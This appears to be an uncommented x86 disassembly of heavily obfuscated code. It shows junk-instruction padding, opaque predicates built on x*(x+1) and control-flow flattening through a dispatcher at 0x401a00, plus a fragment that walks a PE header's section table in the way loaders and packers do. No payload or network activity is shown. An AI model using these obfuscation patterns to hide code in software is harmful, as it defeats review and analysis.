rol edx, 0x93
inc edi
dec ebx
rol eax, 0xdf
rcr eax, 0xc0
not edx
rcl edx, 0x5e
rcr edx, 0xba
add edi, 0xc
imul edx
sbb edx, 0x4a
neg ebx
or esi, 0x8f
not ebx
not edx
ror ebx, 0x4e
bswap esi
bswap edx
inc edi
rol esi, 0xde
neg eax
dec ebx
bswap esi
inc esi
dec esi
bswap eax
dec ebx
imul esi
add ebx, 0x57
not edi
inc esi
dec edx
add edi, 0x8c
rcl eax, 0x1a
ror edi, 0x9a
rcl esi, 0xc2
or eax, 0x44
ror ebx, 0xe4
inc eax
add edx, 0xcc
sub esi, 0xc7
add esi, 0x52
add edx, 0xf4
and edx, 0x47
not edi
bswap edx
sub esi, 0xbf
not esi
neg esi
mov edi, 0xa3
neg edi
dec edx
and esi, 0xc
imul ebx
bswap esi
or esi, 0xa2
neg ebx
imul edx
or ebx, 0x4a
imul esi
not ebx
sbb esi, 0xe4
add eax, 0xf9
bswap ebx
inc edi
ror edi, 0x6a
not eax
dec esi
ror ebx, 0x41
and eax, 0x44
dec esi
sbb edi, 0xe1
or edi, 0x81
and edx, 0x94
bswap esi
neg eax
or eax, 0x5a
imul esi
imul esi
sub edx, 0x97
inc eax
imul edx
not ebx
neg edx
rol ebx, 0xb1
imul edx
and eax, 0x50
not ebx
neg edx
dec edx
not eax
ror eax, 0x64
not ebx
imul edi
sbb eax, 0xaa
rol eax, 0xf3
ror edx, 0xcd
imul edi
or ebx, 0xb8
dec esi
inc esi
bswap eax
imul edi
inc esi
dec esi
neg edi
rcr esi, 0xf7
bswap esi
inc edi
imul eax
inc edi
rcl ebx, 0x59
imul edx
not edi
add esi, 0xdf
not esi
neg eax
not edi
dec ebx
dec eax
rcl eax, 0xaa
imul esi
imul edi
mov eax, 0xf2
sbb edi, 0x45
inc ebx
rcl ebx, 0xef
sub eax, 0x8b
rcr esi, 2
neg edi
neg esi
inc ebx
rcl ebx, 0x20
neg ebx
neg edx
imul edi
inc ebx
or esi, 4
not edx
and eax, 0x9a
dec ebx
bswap edx
sub eax, 0x83
imul eax
bswap eax
or ebx, 0x9f
inc eax
rol edx, 0x84
ror edx, 0xd9
neg esi
inc esi
or edi, 0xc9
ror edx, 0xcf
add edx, 0xdc
bswap eax
imul eax
bswap eax
sub esi, 0xcf
dec esi
rcr edx, 0x38
sbb eax, 7
imul ebx
inc esi
dec edi
imul edx
add edx, 0xf4
not eax
sbb edx, 0x8a
neg edi
neg edx
or ebx, 0x79
rol edi, 0x24
bswap edi
or eax, 0x29
rcl esi, 0xe6
rol edx, 0x7b
imul ebx
and esi, 0x28
dec esi
mov esi, 0x6d
or eax, 0xa7
and ebx, 0x90
dec esi
sbb ebx, 0xcc
mov edi, 0x42
dec eax
rol edi, 0xb2
inc esi
rcl ebx, 0x6a
bswap ebx
sub edi, 0x71
mov eax, 0xe1
neg eax
sbb edi, 0x1b
and ebx, 0x2c
inc edx
and eax, 0x6d
rcr ebx, 0x48
dec edx
dec esi
bswap edi
or eax, 0xe7
rcl eax, 0xbd
imul ebx
inc ebx
sub ebx, 0x5e
rcl esi, 0xb6
sub ebx, 0x75
not esi
dec eax
and edi, 0x79
neg ebx
not edx
bswap edi
sub eax, 0x93
mov eax, 0x96
ror eax, 0x9f
sub ebx, 0x76
bswap ebx
bswap edi
and esi, 0x1b
inc edi
dec ebx
sub eax, 0xad
add ebx, 0x55
inc edx
ror edx, 0x17
or eax, 0x80
mov edx, 0x8f
sbb edi, 0xd
bswap edx
not esi
sbb ebx, 0x7d
and eax, 0x1a
inc ebx
mov edx, 0x5c
bswap esi
inc edi
imul eax
mov edx, 0xf7
sbb ebx, 0xc6
rcr esi, 0x77
imul eax
mov ebx, 0x62
sub esi, 0x89
imul edx
neg ebx
bswap edx
add esi, 0xf
neg eax
neg eax
and edx, 0xb4
dec esi
mov eax, 0x1a
not edx
mov eax, 0x5f
add edx, 0xcc
sub edi, 0x1d
not eax
mov esi, 0xdd
bswap edx
bswap ebx
rcr esi, 0x86
imul edx
dec edi
not esi
or eax, 0x69
rcl ebx, 0x80
rcr eax, 0xe0
dec edx
dec edi
neg eax
sbb ebx, 0xb2
inc esi
and esi, 0x8f
mov ecx, dword [0x4a3f84]
mov dword [ebp - 0x12c], eax
mov esi, 0x5d411abc
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xea896612
and edx, 0x157699ed
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x3ec61d53
and edx, 0xc139e2ac
or ecx, edx
mov edx, ecx
xor edx, 0x2bb084bf
xor ecx, 0xd44f7b40
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
xor edx, 0xffffffff
sete cl
setne dl
cmp dword [0x4a3f80], 0xa
setge al
setl ah
and dl, ah
and al, cl
or al, dl
mov dl, ah
or dl, cl
xor cl, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0x1359055a
cmovne eax, esi
test dl, dl
mov edx, 0x1359055a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
mov eax, 0x6af5745e
jmp 0x401a00
mov eax, dword [ebp - 0xac]
mov edx, dword [0x4a3f84]
inc eax
mov dword [ebp - 0x178], eax
lea eax, [edx + 1]
imul edx, eax
mov eax, edx
mov ecx, edx
not eax
or ecx, 0xd5a18683
mov edi, eax
mov esi, ecx
and esi, 0xb4da571d
and edi, 0xa042860
and eax, 0xa71613a6
or edi, esi
mov esi, edx
xor esi, 0x2a5e797c
and esi, edx
and edx, 0x58e9ec59
mov ebx, esi
not ebx
and esi, 0x4b25a8e2
or eax, edx
or ecx, ebx
and ebx, 0xb4da571d
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x821bdf92
and esi, 0x7de4206d
or ecx, esi
mov esi, ecx
xor esi, 0xa00402a6
xor ecx, 0x57ba5910
mov edi, ecx
and edi, 0x58e9ec59
and esi, 0xa71613a6
or esi, edi
xor eax, esi
mov esi, 0x692f3b91
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ch
cmp dword [0x4a3f80], 0xa
setge cl
setl al
mov ah, cl
and dl, al
xor al, ch
xor ah, ch
and ah, cl
and cl, ch
or cl, dl
mov dl, ah
xor ah, cl
xor dl, 1
xor cl, 1
or cl, dl
mov edx, eax
not dl
xor cl, 1
and dl, al
or cl, ah
mov ah, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, cl
xor cl, 1
and dl, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0xb31a7b5d
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0xb31a7b5d
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401a00
mov eax, 0x4b200950
jmp 0x401a00
mov eax, 0x116d7816
jmp 0x401a00
mov eax, dword [ebp - 0xfc]
add eax, 2
mov dword [ebp - 0x58], eax
mov eax, 0xe4bbd37a
jmp 0x401a00
cmp byte [ebp - 0x61], 0
mov eax, 0x78124845
mov ecx, 0xf29410c3
cmovne eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, 0x1a1eea23
jmp 0x401a00
mov eax, dword [ebp - 0x184]
mov eax, dword [eax + 0x68]
add eax, dword [ebp - 0x180]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0xd7a92e7b
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x44acfdae
and ecx, 0xbb530251
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x41df0067
and ecx, 0xbe20ff98
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x73b0c0
xor edx, 0xfa8c0236
xor eax, 0x7248530b
and eax, edx
and ecx, 0xc0fbb2e2
and edx, 0x3f044d1d
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x3f044d1d
xor esi, 0x483fe3df
xor edx, 0xf38060
and esi, ecx
and edx, 0x3af7c065
or eax, esi
mov esi, eax
not esi
and eax, 0x67e064ec
and esi, 0x981f9b13
or eax, esi
mov esi, ecx
and esi, 0xc5083f9a
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x62200450
xor eax, 0x10dbca2f
xor esi, 0x3af7c064
and edx, 0x722a0e7c
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x8a916300
and esi, 0x756e9cff
or ecx, esi
mov esi, eax
and esi, 0x8dd5f183
or edx, esi
mov esi, ecx
xor esi, 0x2000200
xor ecx, 0x756e9cff
or eax, ecx
and ecx, 0x8dd5f183
and esi, 0x722a0e7c
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x74fe6bc9
and eax, 0x3082604d
mov edx, ecx
and edx, 0x8b019436
or ecx, 0x81040000
or esi, edx
and ecx, 0xc92d8390
mov edx, esi
xor esi, 0x81000000
xor edx, 0x4500800
or eax, ecx
or esi, 0x48298390
and edx, 0x6501c22
and esi, 0xc92d8390
or edx, esi
mov esi, 0x72b0c36f
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x87541c22
and ecx, 0x78abe3dd
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5f874a3b
and ecx, 0xa078b5c4
or ecx, eax
cmp ecx, 0xa078b5c4
setne al
cmp dword [0x4a3f80], 0xa
setge ah
setl cl
and cl, al
inc al
mov dh, ah
xor dh, al
mov ch, al
and al, ah
mov dl, dh
and dh, ah
or al, cl
or ch, ah
mov cl, dh
not dl
xor dh, al
xor al, 1
xor ch, 1
xor cl, 1
and dl, ah
or al, cl
or dl, ch
xor al, 1
mov ecx, edx
or al, dh
mov ah, al
xor cl, al
and al, dl
and cl, dl
xor ah, 1
xor dl, 1
and dl, ah
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x54757a2a
cmovne edx, esi
test al, 1
mov eax, edx
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x38]
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
and eax, 0xd40557c9
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x2bfaa836
mov ebx, edx
not ebx
and edx, 0xddf4bb0d
or eax, esi
mov esi, eax
xor eax, 0x2bfaa836
xor esi, 0xd4041308
or eax, 1
and esi, 0xddf4bb0c
mov edi, eax
or eax, ebx
and edi, 0x220b44f2
and ebx, 0x220b44f2
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x707a7f15
or eax, edx
mov edx, eax
not edx
and eax, 0xbc900db2
and edx, 0x436ff24d
or eax, edx
xor eax, 0xbc900db2
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xce2e028c
and ecx, 0x31d1fd73
or eax, ecx
xor eax, 0xce2e028c
setne cl
sete al
cmp dword [0x4a3f80], 0xa
mov dh, cl
setge ch
setl ah
or dh, ch
and ah, cl
and al, ch
mov dl, dh
or al, ah
xor dl, 1
mov ch, al
mov cl, dl
xor ch, 1
and cl, dh
xor cl, 1
mov ah, cl
or cl, dh
xor ah, dh
xor cl, 1
or cl, ah
mov ah, cl
and cl, ch
xor ah, 1
and ah, al
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xf4ae2a11
cmovne eax, esi
test cl, cl
mov ecx, 0xf4ae2a11
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401a00
mov eax, dword [ebp - 0x58]
movzx eax, word [eax]
mov word [ebp - 0xb4], ax
mov eax, 0x9a705c33
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x10dc2edd
and eax, 0xef23d122
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xb8f95301
and eax, 0x4706acfe
or ecx, eax
mov eax, ecx
xor ecx, 0x80418c4
xor eax, 0x57da8223
mov esi, eax
and ecx, 0x58141ae7
and esi, 0xa7ebe518
and eax, 0x622084cc
or esi, ecx
mov ecx, esi
mov edx, esi
xor ecx, 0xa7ebe518
xor edx, 0xc5cb61d4
xor esi, 0x181418a4
and edx, ecx
and esi, 0x1afdbcac
or eax, edx
mov edx, eax
not edx
and eax, 0x9ddf7b32
and edx, 0x622084cd
or eax, edx
mov edx, ecx
and edx, 0xe5024353
and ecx, 1
or edx, esi
mov esi, edx
xor esi, 0x1afdbcad
xor edx, 0xc1004102
or ecx, esi
mov esi, eax
not esi
and eax, 0xc3254106
and edx, 0xc3254106
mov edi, esi
or esi, ecx
and edi, 0x3cdabef9
and ecx, 0x3cdabef9
or eax, edi
or edx, ecx
not esi
xor edx, eax
or esi, edx
mov edx, esi
mov ecx, esi
xor ecx, 0xd646f3b4
mov eax, esi
not edx
or eax, 0x29b90c4b
and ecx, esi
mov esi, eax
and esi, 0xca45db96
and edx, 0x14022020
or edx, esi
mov esi, ecx
not esi
and ecx, 0x35ba2469
or eax, esi
and esi, 0xca45db96
or ecx, esi
not eax
mov esi, 0xab89dcb6
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x31955db0
and ecx, 0xce6aa24f
or eax, ecx
mov ecx, eax
xor ecx, 0xa290a800
xor eax, 0x4410b
and ecx, 0xbab8b8f0
and eax, 0x4547470f
or eax, ecx
xor eax, 0x4547470f
sete cl
setne ah
cmp dword [0x4a3f80], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
or dl, ch
mov ch, al
mov ah, dl
mov cl, dl
xor ch, 1
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
and cl, al
xor dl, 1
and dl, ch
or cl, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x66b76ca3
cmovne edx, esi
test al, 1
mov eax, 0x66b76ca3
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401a00
mov eax, dword [0x4a3f84]
mov dword [ebp - 0x24], 1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0x5880d39f
mov esi, eax
and esi, 0xfffffffe
and eax, 0xa77f2c60
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xa77f2c60
mov edi, esi
and edi, 0x5880d39f
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x55eb857f
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x4a3f80], 0xa
setge cl
setl al
mov edx, ecx
and ch, al
xor al, ah
xor dl, ah
and dl, cl
and cl, ah
mov ah, dl
xor dl, al
xor al, 1
or cl, ch
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
mov ch, dl
or dl, al
xor ch, al
mov al, cl
xor dl, 1
xor al, ah
or ah, cl
or dl, ch
xor ah, 1
xor dl, cl
or ah, al
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0xe7f76c4e
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xe7f76c4e
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x158], eax
mov eax, 0xc69212a9
jmp 0x401a00
mov eax, 0xf3d77191
jmp 0x401a00
mov dword [ebp - 0x70], 0
mov eax, 0xe6914309
jmp 0x401a00
mov dword [ebp - 0x30], 0x10
mov eax, 0x1b373682
jmp 0x401a00
push 0x400
push dword [ebp - 0xd4]
push dword [ebp - 0xd0]
vzeroupper
call fcn.00444420
add esp, 0xc
neg eax
rol ebx, 0x72
imul esi
neg edx
mov esi, 0x1f
not edx
imul edi
imul edx
dec edx
rol edi, 0x42
add esi, 0xf1
rcr eax, 0x21
not esi
rcr edi, 0xa6
add edi, 0x50
not eax
or edx, 0xb
mov ebx, 0xb
sub esi, 0x5b
add ebx, 0x39
or edi, 0x73
bswap eax
sbb eax, 0x86
neg ebx
rcl ebx, 0x74
not edx
not eax
neg esi
bswap eax
inc edi
imul edx
neg eax
not edx
mov edi, 0xb
inc edx
sub esi, 0x62
sbb esi, 7
dec edx
sub eax, 0xc8
rcr edi, 0x4c
rol ebx, 0xb5
bswap edi
or edx, 0xdd
not edi
mov ebx, 0xc9
rol esi, 0x18
and esi, 0xef
imul esi
bswap ebx
sub edi, 0x98
or eax, 0x85
or edx, 0xdf
dec ebx
rol edx, 0xdc
mov edi, 0xb3
rcr eax, 0x42
or esi, 0x77
imul eax
sbb esi, 0x8d
inc eax
bswap ebx
not ebx
dec ebx
dec ebx
rcl esi, 0xa0
rcr eax, 0x9e
dec edx
dec ebx
or esi, 0x79
not eax
add eax, 0x59
or eax, 5
rcr edi, 0x5c
imul ebx
dec edi
dec edi
not esi
mov eax, 0xef
mov edi, 0x11
not ebx
mov edx, 0x5d
rcl eax, 0x16
bswap ebx
not edx
neg edi
rcr esi, 0xc2
not esi
add eax, 0x1e
inc esi
bswap edi
neg edx
rcr eax, 0x6b
dec edi
rcl ebx, 0x55
neg ebx
inc esi
neg ebx
neg edi
or edi, 0x26
rcr eax, 0xc8
dec esi
mov esi, 0x7b
neg edi
imul edi
neg edi
bswap esi
and eax, 0x4e
bswap eax
sub edx, 0xb2
neg eax
neg ebx
sbb eax, 0xb5
inc eax
sub ebx, 0xc7
inc ebx
imul edi
add eax, 0xa1
not edi
mov edx, 0xc4
ror eax, 0x82
sub esi, 0xba
bswap edx
rcl edx, 0xcc
not esi
imul edi
and edi, 0x14
dec edi
rcr eax, 0x90
mov edi, 0xf
not edi
dec ebx
add ebx, 0xfd
inc edx
rcr edx, 0x61
add esi, 7
sub edi, 0x40
bswap edx
dec ebx
mov edi, 0xc8
mov edx, 0x6e
ror edi, 0x32
add edx, 0x44
neg ebx
bswap edx
or edx, 0x4d
sbb esi, 0xd6
or edx, 0x29
bswap ebx
inc eax
sub edx, 3
mov dword [ebp - 0x24], eax
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
or eax, 0x7db95dea
mov esi, eax
and esi, 0xe4015466
and edx, 0x246a211
or edx, esi
mov esi, ecx
xor esi, 0x8246a215
and esi, ecx
mov edi, esi
not edi
and esi, 0x1bfeab99
or eax, edi
and edi, 0xe4015466
or esi, edi
not eax
xor esi, edx
or eax, esi
mov esi, 0x415c7f0f
mov edx, eax
not edx
and eax, 0x3bb5aa2e
and edx, 0xc44a55d1
or eax, edx
mov edx, eax
xor edx, 0xb9f3083a
xor eax, 0x460cf7c5
and edx, ecx
andn ecx, ecx, eax
or edx, ecx
not edx
or edx, eax
xor edx, 0xffffffff
sete cl
setne dl
cmp dword [0x4a3f80], 0xa
setl ah
mov al, ah
xor dl, ah
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
xor dl, ah
and cl, dl
and dl, ah
mov ah, cl
xor cl, dl
xor dl, 1
xor ah, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ch, al
xor ch, cl
and cl, al
and ch, al
or cl, dl
mov edx, 0xd2007d94
mov al, ch
xor al, cl
test al, 1
cmovne edx, esi
test cl, 1
mov eax, edx
cmovne eax, esi
mov esi, dword [ebp - 0x34]
test ch, ch
cmove eax, edx
movzx ecx, word [esi + 0x14]
lea ecx, [esi + ecx + 0x18]
mov dword [ebp - 0x7c], ecx
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xb34861ac
mov eax, ecx
and eax, 0x4cb79e52
and ecx, 0xede59efd
or esi, eax
mov eax, edx
xor eax, 0xfffffffe
xor esi, 0xb34861ac
and eax, edx
or eax, esi
mov esi, eax
not esi
and eax, 0x5d644ed6
and esi, 0xa29bb129
or eax, esi
mov esi, eax
xor esi, 0x4d640ed4
xor eax, 0xa29bb129
mov edi, eax
or eax, edx
and edx, 0x121a6102
and edi, 0x121a6102
and esi, 0xede59efd
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x16551ce1
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1ecaaab2
and ecx, 0xe135554d
or eax, ecx
xor eax, 0x1ecaaab2
setne ch
sete ah
cmp dword [0x4a3f80], 0xa
setge al
setl dl
mov cl, al
or dl, ch
xor cl, ah
xor dl, 1
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, cl
or dl, ch
mov ch, dl
xor dl, 1
and ch, cl
xor cl, 1
or al, cl
and dl, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x860f1336
cmovne eax, esi
test dl, 1
mov edx, 0x860f1336
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
mov eax, 0x42a487ed
jmp 0x401a00
mov ecx, dword [ebp - 0x164]
mov eax, 0xb9ff08a8
mov dword [ebp - 0x120], ecx
jmp 0x401a00
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], eax
mov eax, 0x15f5db4b
jmp 0x401a00
cmp byte [ebp - 0x6a], 0
mov eax, 0x20a8d321
mov ecx, 0x72447a87
cmovne eax, ecx
jmp 0x401a00
mov dword [ebp - 0x30], 0xd
mov eax, 0xdf2bc576
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xda75e608
mov ecx, eax
not ecx
and edx, eax
or eax, 0x258a19f7
mov esi, ecx
and esi, 0x88258208
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x72507535
and edx, 0x8daf8aca
or eax, ebx
and ebx, 0x72507535
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x96ff1a67
or eax, edx
mov edx, eax
not edx
and eax, 0xbc9a5c0f
and edx, 0x4365a3f0
or eax, edx
xor eax, 0x991045f9
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xece1df26
and ecx, 0x131e20d9
or eax, ecx
xor eax, 0xece1df26
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
setl cl
setge al
mov ch, cl
and dl, cl
or cl, ah
and al, ah
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
xor cl, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6454223e
cmovne eax, esi
test dl, dl
mov edx, 0x6454223e
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xec], eax
mov eax, 0xb1b5530
jmp 0x401a00
mov eax, 0x55ac3051
jmp 0x401a00
mov eax, 0xf428b8d7
jmp 0x401a00
or edi, 0x9a
imul ebx
sub edx, 0x59
ror eax, 0x25
rcl edx, 0x1c
or edi, 0x11
dec ebx
imul eax
neg esi
dec esi
not ebx
neg edi
neg edx
sbb edx, 0xf1
and edx, 0xab
dec esi
and edx, 0x64
not eax
dec esi
or esi, 0xff
ror edx, 0x99
add edi, 0xff
rcr edi, 0x70
neg ebx
mov ebx, 0xe1
not edi
inc edi
inc edx
bswap edi
or esi, 0xfa
inc edi
rol eax, 0x47
dec edi
or ebx, 0xaf
not eax
rcr esi, 0x83
bswap esi
bswap edi
ror edi, 0xba
mov edx, 0xd1
mov eax, 0xdc
dec eax
rcl ebx, 0x6f
sbb ebx, 0xcb
not edi
not esi
not esi
neg edi
bswap esi
inc edx
inc ebx
dec esi
add esi, 0xdd
rcl edx, 0x8b
mov esi, 0xd0
inc esi
dec esi
and esi, 0x14
not eax
rol ebx, 0x2a
imul eax
inc esi
rol esi, 6
inc ebx
mov edx, 0x8c
neg edi
or edi, 0xac
inc esi
inc ebx
inc ebx
neg ebx
mov ebx, 3
bswap ebx
sbb edi, 0xe8
sub edx, 0x50
mov eax, 0x78
mov edx, 0x10
sub edx, 0x4a
rcl edi, 0xe1
rcl edi, 0xfc
or edi, 0x44
neg esi
ror edx, 0x1a
rcr edi, 0xd4
bswap edx
mov eax, 0x12
mov ebx, 0x43
rcl ebx, 0x27
inc ebx
neg edx
add edi, 0xa3
sbb edx, 0xe3
inc esi
sbb edx, 0xef
imul esi
sbb edi, 0x5a
and edi, 0x84
or esi, 0x63
and edx, 0x99
sub edi, 2
rcr esi, 0x66
bswap edx
neg eax
not esi
ror ebx, 0x76
or eax, 0x5f
or esi, 0x45
bswap edx
rol eax, 0xd3
bswap ebx
neg edx
imul eax
and edi, 0x12
and esi, 0x25
sbb edx, 0xcd
imul esi
imul ebx
rcr edx, 0xa5
neg ebx
bswap esi
inc eax
mov eax, 0xe0
rcr edx, 0x14
or ebx, 0x7e
dec edi
not edx
or ebx, 0x33
bswap edx
imul eax
sub edx, 0xc
imul eax
imul esi
neg edi
not edx
rcl eax, 0x89
not esi
sbb eax, 0xa3
sub eax, 0x23
imul eax
imul eax
and eax, 0xd7
mov edi, 0xec
not eax
add eax, 0x9d
dec edi
ror eax, 0x7f
sbb ebx, 0x56
dec esi
add esi, 0x41
sbb edi, 0x57
rcr ebx, 0x7e
imul edi
neg ebx
rol ebx, 0x41
neg edi
neg eax
not ebx
ror esi, 0xe6
neg esi
imul ebx
not eax
and ebx, 0x40
neg edi
or eax, 0x35
imul esi
imul esi
imul ebx
inc edx
bswap edi
mov edi, 0x9e
dec eax
rcr ebx, 0xe9
or edx, 0x7b
sbb edi, 0x8b
add eax, 0xc3
and eax, 0x48
mov esi, 0x19
sub edi, 0xd7
mov eax, 0x30
imul eax
sbb esi, 0xbb
neg esi
or ebx, 0x56
ror eax, 0x5a
rcl esi, 0x90
neg ebx
add edi, 0x41
bswap esi
neg ebx
sub eax, 0x9c
not ebx
sbb edx, 0x91
sub edx, 0xc1
neg edi
rcl edi, 0x24
imul eax
rcr esi, 0x8c
imul ebx
imul ebx
imul edi
rol ebx, 0xa6
not esi
inc esi
add eax, 0xff
mov esi, 0xbd
inc edx
not edx
sbb ebx, 0x25
rol esi, 0x60
dec esi
not edx
rol esi, 0xdb
imul edi
and eax, 0x93
neg esi
neg eax
imul edx
add esi, 0xc2
and eax, 0x84
rcr edi, 0xcd
neg esi
dec eax
not edi
inc esi
ror edi, 0xad
sbb edi, 0x54
dec ebx
neg edi
ror edi, 0x8b
and ebx, 0x93
inc ebx
bswap edi
imul edx
sbb edx, 0xe3
dec esi
bswap edx
dec eax
neg edi
not edx
inc ebx
and ebx, 0x42
or edx, 0xf4
sub edi, 0x88
neg edx
neg edx
sub esi, 0xeb
inc edx
rcr edx, 0x36
inc edx
inc edi
not esi
mov edx, 0x74
rol edi, 0xcd
sbb ebx, 0x4c
dec eax
add ebx, 0x64
dec edi
sbb edi, 0xcc
add eax, 0x44
dec eax
add edx, 0xe3
sub ebx, 0xb2
sub edi, 0x63
or edx, 0x7d
inc edi
inc eax
not edx
rcl eax, 0xb9
inc ebx
bswap edi
inc eax
sub edx, 0x2b
bswap eax
rcr edx, 0xc
inc eax
rol edx, 0x93
inc edi
dec ebx
rol eax, 0xdf
rcr eax, 0xc0
not edx
rcl edx, 0x5e
rcr edx, 0xba
add edi, 0xc
imul edx
sbb edx, 0x4a
neg ebx
or esi, 0x8f
not ebx
not edx
ror ebx, 0x4e
bswap esi
bswap edx
inc edi
rol esi, 0xde
neg eax
dec ebx
bswap esi
inc esi
dec esi
bswap eax
dec ebx
imul esi
add ebx, 0x57
not edi
inc esi
dec edx
add edi, 0x8c
rcl eax, 0x1a
ror edi, 0x9a
rcl esi, 0xc2
or eax, 0x44
ror ebx, 0xe4
inc eax
add edx, 0xcc
sub esi, 0xc7
add esi, 0x52
add edx, 0xf4
and edx, 0x47
not edi
bswap edx
sub esi, 0xbf
not esi
neg esi
mov edi, 0xa3
neg edi
dec edx
and esi, 0xc
imul ebx
bswap esi
or esi, 0xa2
neg ebx
imul edx
or ebx, 0x4a
imul esi
not ebx
sbb esi, 0xe4
add eax, 0xf9
bswap ebx
inc edi
ror edi, 0x6a
not eax
dec esi
ror ebx, 0x41
and eax, 0x44
dec esi
sbb edi, 0xe1
or edi, 0x81
and edx, 0x94
bswap esi
neg eax
or eax, 0x5a
imul esi
imul esi
sub edx, 0x97
inc eax
imul edx
not ebx
neg edx
rol ebx, 0xb1
imul edx
and eax, 0x50
not ebx
neg edx
dec edx
not eax
ror eax, 0x64
not ebx
imul edi
sbb eax, 0xaa
rol eax, 0xf3
ror edx, 0xcd
imul edi
or ebx, 0xb8
dec esi
